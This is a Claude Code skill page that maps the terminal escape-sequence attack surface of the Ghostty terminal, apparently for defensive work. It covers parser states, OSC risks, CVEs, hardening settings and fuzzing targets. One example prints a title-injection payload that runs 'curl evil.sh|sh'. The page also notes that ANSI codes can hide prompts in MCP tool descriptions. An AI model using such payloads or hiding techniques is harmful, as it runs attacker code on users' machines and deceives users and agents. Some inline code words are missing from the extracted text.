Asi modding-ghostty
Defensive security map of Ghostty terminal escape sequences. VT/OSC attack surface, stdin injection vectors, parser DFA analysis, CVE catalog. Triggers: ghostty security, escape sequence, terminal hardening, VT parser, OSC.
install
source · Clone the upstream repo
git clone https://github.com/plurigrid/asi
Claude Code · Install into ~/.claude/skills/
T=$(mktemp -d) && git clone --depth=1 https://github.com/plurigrid/asi "$T" && mkdir -p ~/.claude/skills && cp -r "$T/skills/modding-ghostty" ~/.claude/skills/plurigrid-asi-modding-ghostty && rm -rf "$T"
manifest:
skills/modding-ghostty/SKILL.mdsource content
Modding Ghostty
Defensive security map of Ghostty's VT/OSC escape sequence surface. Covers what each sequence visibly modifies on screen, invisible state mutations, stdin injection vectors, and parser DFA traversability toward undesired states.
Trigger Conditions
- Analyzing terminal escape sequence security
- Auditing libghostty or apps built on it (cmux, etc.)
- Fuzzing VT parsers / OSC handlers
- Understanding what escape sequences change on the user's screen
- Building terminal-aware security tools
Architecture: libghostty VT Parser
Raw Bytes -> UTF8Decoder -> Parser (DFA) -> Stream -> Actions | State Machine (14 states, compile-time table)
Key files in ghostty-org/ghostty:
src/terminal/Parser.zig # State machine (14 states) src/terminal/stream.zig # Stream wrapper + SIMD src/terminal/osc.zig # OSC parser (2048-byte fixed buffer) src/terminal/dcs.zig # DCS handler (1MB limit) src/terminal/parse_table.zig # Compile-time transition table src/simd/vt.zig # SIMD acceleration
Visual Effects Map: What Each OSC Changes On Screen
+---------------------------------------------------------------------+ | * * * Terminal Window Title (OSC 0, 1, 2) - [] X | +---------------------------------------------------------------------+ | | | Tab Bar: [ ~/projects v ] [ SSH: server ] [ vim ] | | ^^^^^^^^^^^^^^^^ | | OSC 7 sets this OSC 2 sets tab title | | (working directory) | | | +--- Terminal Content Area -------------------------------------------| | | | $ cat README.md | | | | This is normal text <-- ground state: just prints codepoints | | | | ==================== <-- OSC 4/10/11 change THESE colors: | | = foreground on ba = <-- 10 = text color | | = ckground colors = <-- 11 = background } you see the | | ==================== <-- 12 = cursor color } palette shift | | 4 = palette[0-255] instantly | | | | Click here for docs <-- OSC 8 hyperlink: UNDERLINED text, | | ~~~~~~~~~~~~~~~~~~ cursor becomes pointer on hover | | (OSC 22 changes pointer shape too) | | | | $ echo "copied!" | | +------------------+ | | | CLIPBOARD | <-- OSC 52 write: you see NOTHING on | | | (invisible) | screen. It silently changes what | | | "malicious addr" | Cmd+V pastes next. No visual cue. | | +------------------+ | | | | $ pwd | | /Users/alice/projects <-- OSC 7: NOTHING changes in content area. | | But tab/title bar updates, and | | "New Tab" will open HERE | | | | $ _ <-- OSC 12 changed cursor to this color | | ^cursor | | | +--- What's INVISIBLE (the dangerous part) ---------------------------| | | | OSC 52 READ --> ? sent to terminal | | terminal writes clipboard contents | | BACK INTO STDIN (as if you typed it) | | +------------------------------------+ | | | $ rgb:ff/ff/ff | < color | | | $ secret-api-key-from-clipboard | < clipboard| | | $ My Private Window Title | < title | | +------------------------------------+ | | YOU SEE THESE APPEAR AS IF YOU TYPED THEM | | (the "response injection" class of attacks) | | | | CSI 21t --> Reports title back as keystrokes | | DECRQSS --> Reports settings back as keystrokes | | OSC 10-12? --> Reports colors back as keystrokes | | | +---------------------------------------------------------------------+
Visibility Matrix
VISIBLE INVISIBLE INVISIBLE ON SCREEN BUT MODIFIES STDIN INJECTION (you notice) STATE (most dangerous) --------------- -------------- ---------------- OSC 0 (icon+title) title bar Y OSC 1 (icon) (unimplemented) OSC 2 (title) title bar Y OSC 4 (palette) colors shift Y OSC 7 (cwd) tab label, new-tab path OSC 8 (hyperlink) underline Y, hover cursor Y OSC 9 (notification) system notif Y OSC 10 (fg color) text recolors Y OSC 11 (bg color) bg recolors Y OSC 12 (cursor color) cursor recolors Y OSC 22 (pointer) mouse cursor Y OSC 52 (clipboard) clipboard read -> stdin contents OSC 4? (query) rgb:xx/xx -> stdin OSC 10-12? (query) rgb:xx/xx -> stdin CSI 21t (title report) title -> stdin DECRQSS (DCS query) settings -> stdin
OSC Sequences Ranked by Traversability to Undesired States
Tier 1: Surprisingly Traversable (High developer-surprise factor)
| # | Sequence | Undesired State | Why Surprising |
|---|---|---|---|
| 1 | OSC 8 (Hyperlinks) | Arbitrary code execution on click | No URI scheme validation. passed directly to / . Missing scheme = file path on macOS. CVE-2024-38396 (iTerm2), CVE-2025-43929 (kitty). |
| 2 | OSC 52 (Clipboard read) | Silent clipboard exfiltration | Default but "Remember" button permanently downgrades to . No rate limiting. Once allowed, any program polls clipboard forever. |
| 3 | OSC 2 + CSI 21t (Title set + report) | Command injection into shell | CVE-2003-0063 (xterm 2003), CVE-2024-56803 (Ghostty 1.0.0 release day). Parser correct; policy of echoing title to PTY stdin is the flaw. |
Tier 2: Parser-Level State Machine Risks
| # | Sequence | Undesired State | Mechanism |
|---|---|---|---|
| 4 | Unterminated OSC (any) | Parser stuck in | Fixed 2048-byte buffer catches most, but OSC 52/66 with allocator has no hard memory limit. |
| 5 | C1 control codes (0x80-0x9F) | Incorrect state transition | =OSC, =CSI, =DCS as single bytes. Bypasses naive filters. UTF-8 mode must not treat these as C1. |
| 6 | Truncated OSC (e.g. ) | Integer overflow crash | Issue #8007: called without valid allocator. Fixed in 1.2.0. |
| 7 | SOS/PM/APC passthrough | Untested state paths | Share DFA structure with DCS/OSC but rarely exercised. Least-tested code. |
Tier 3: Handler-Layer Policy Risks
| # | Sequence | Undesired State | Mechanism |
|---|---|---|---|
| 8 | OSC 7 (Working directory) | Path spoofing | always passes . Any program sets reported CWD. New tab opens in spoofed directory. |
| 9 | OSC 52 (Clipboard write) | Clipboard hijacking | Default . Any program silently overwrites clipboard. Crypto address replacement. |
| 10 | OSC 4/10-19 (Color query) | Information leakage | Responses reveal terminal theme. Feeds fingerprinting. |
| 11 | DCS DECRQSS | Response injection | CVE-2008-2383 (xterm), CVE-2022-45872 (iTerm2 CVSS 9.8). |
Tier 4: Delivery-Layer Amplifiers
| # | Vector | Effect |
|---|---|---|
| 12 | Log file escape injection | triggers any of the above. CVE-2009-4487. |
| 13 | npm/pip output injection | Package metadata with escape sequences. |
| 14 | MCP tool description injection | ANSI in tool descriptions hides malicious prompts (Trail of Bits 2025). |
Parser DFA Safety Properties
What's Well-Designed
is a proper sink state: Once buffer overflows, all bytes discarded until reset..invalid
returnsend()
.null- No re-entrancy: One byte at a time via
. No callbacks or recursive parsing.Parser.next() - State isolation: ESC inside
ordcs_passthrough
is treated as data, NOT an escape initiator (except via "anywhere" transitions for ESC ->osc_string
state fromescape
).osc_string - Reset on entry:
called on every transition intoosc_parser.reset()
. No stale state leaks.osc_string - CAN/SUB abort:
(CAN) or0x18
(SUB) abort any sequence from any state ->0x1A
.ground
What's Risky
- OSC 52/66 allocating writer: No hard memory limit when allocator provided. Multi-GB base64 payload could exhaust memory.
- OSC 8 URI handling: No scheme allowlist. Arbitrary URIs passed to system opener.
,file://
,ssh://
, custom schemes all honored.tel: - "Remember" button on clipboard ask dialog: Single click permanently downgrades
->ask
for session.allow - No rate limiting on any response-generating sequence: OSC 52 read, color queries, title report (when enabled) can be spammed.
The Classic Attack Pattern
WHAT YOU SEE WHAT ACTUALLY HAPPENS --------------- ----------------------- $ cat file.txt file.txt contains: Hello world Hello world Segmentation fault \e]2;curl evil.sh|sh\a <- set title (core dumped) \e[21t <- report title $ \e[8m <- HIDE TEXT ^^^ now "curl evil.sh|sh" appears on your stdin as if you typed it You see "Segfault" and The injected command is press Enter thinking invisible (\e[8m = hidden) it's waiting for input -> SHELL EXECUTES: curl evil.sh|sh
Ghostty-Specific CVEs
| CVE | Version | Severity | Description | Fix |
|---|---|---|---|---|
| CVE-2024-56803 | < 1.0.1 | Medium (5.1) | Title reporting (CSI 21t) enabled by default. Classic title injection RCE. | Disabled title reporting by default. |
| GHSA-q9fg-cpmh-c78x | < 1.2.0 | Medium | Privilege escalation when launched by other apps (inherits Full Disk Access). | App-level permission scoping. |
| Issue #8007 | < 1.2.0 | Medium | Truncated OSC causes integer overflow in via without valid allocator. | Conditional deinit when alloc non-null. |
Configuration Hardening
# ghostty config (~/.config/ghostty/config) # Disable title reporting (default since 1.0.1) title-report = false # Require confirmation for clipboard reads clipboard-read = ask # Consider requiring confirmation for clipboard writes too clipboard-write = ask # OSC 52 is the main clipboard vector # These are the only knobs available
Fuzzing Targets (for defensive testing)
Priority targets for property-based testing / fuzzing:
- OSC parser with allocator: Feed multi-MB base64 to OSC 52 path
- C1 control codes in UTF-8 mode: Bytes 0x80-0x9F should NOT trigger state transitions
- Rapid sequence interleaving: ESC mid-OSC, CAN mid-DCS, nested attempts
- OSC 8 URI content: Long URIs, null bytes, embedded escapes, scheme-less paths
- Truncated sequences at every parse state: Especially
->osc_string
pathreset() - SOS/PM/APC: Rarely-tested passthrough states sharing DFA structure
Key References
- David Leadbeater (dgl), "[31m"?! ANSI Terminal security in 2023 -- https://dgl.cx/2023/09/ansi-terminal-security
- David Leadbeater, Ghostty CVE-2024-56803 -- https://dgl.cx/2024/12/ghostty-terminal-title
- Julia Evans, Standards for ANSI escape codes (2025) -- https://jvns.ca/blog/2025/03/07/escape-code-standards/
- Trail of Bits, ANSI terminal codes in MCP (2025) -- https://blog.trailofbits.com/2025/04/29/deceiving-users-with-ansi-terminal-codes-in-mcp/
- solid-snail, iTerm2 RCE -- https://blog.solidsnail.com/posts/2023-08-28-iterm2-rce
- vt100.net DFA specification -- https://vt100.net/emu/dec_ansi_parser
- Ghostty VT reference -- https://ghostty.org/docs/vt/reference
- Mitchell Hashimoto, libghostty announcement -- https://mitchellh.com/writing/libghostty-is-coming
Related Skills
: Parser DFA details and APIlibghostty-vt
: Binary analysis of compiled parserreverse-engineering
: Overcoming coverage plateaus in VT parser fuzzingfuzzing-obstacles
: Generating adversarial escape sequencesproperty-based-testing
: Finding CVE variants across terminal emulatorsvariant-analysis
: Detecting fail-open config (clipboard-write=allow)insecure-defaults
: Testing terminal sandbox boundariessandbox-escape-detector
: Mapping handler entry points from parser actionsentry-point-analyzer
: Comparing parser behavior across terminal implementationsbisimulation-game
: Detecting H0 obstructions in state machine coverageobstruction-learning
: State machine bifurcation points where behavior qualitatively changesbifurcation
: Lyapunov analysis of parser state invariantsstability
: Sets preserved by the parser DFA flowinvariant-set
: Coordinate changes in parser state spacephase-space-transformation
: Timing side-channels in parser processingconstant-time-analysis
: OSC 52 clipboard data handling, TLS in terminal contextscryptographic-audit
: Fixed points and limit cycles in parser state machineattractor
GF(3) Assignment
Trit: -1 (MINUS) - Validator/constrainer Hue: 210 (blue - cold, defensive analysis)
Triads:
xmodding-ghostty (-1)
xlibghostty-vt (+1)
= 0bisimulation-game (0)
xmodding-ghostty (-1)
xattractor (+1)
= 0phase-space-transformation (0)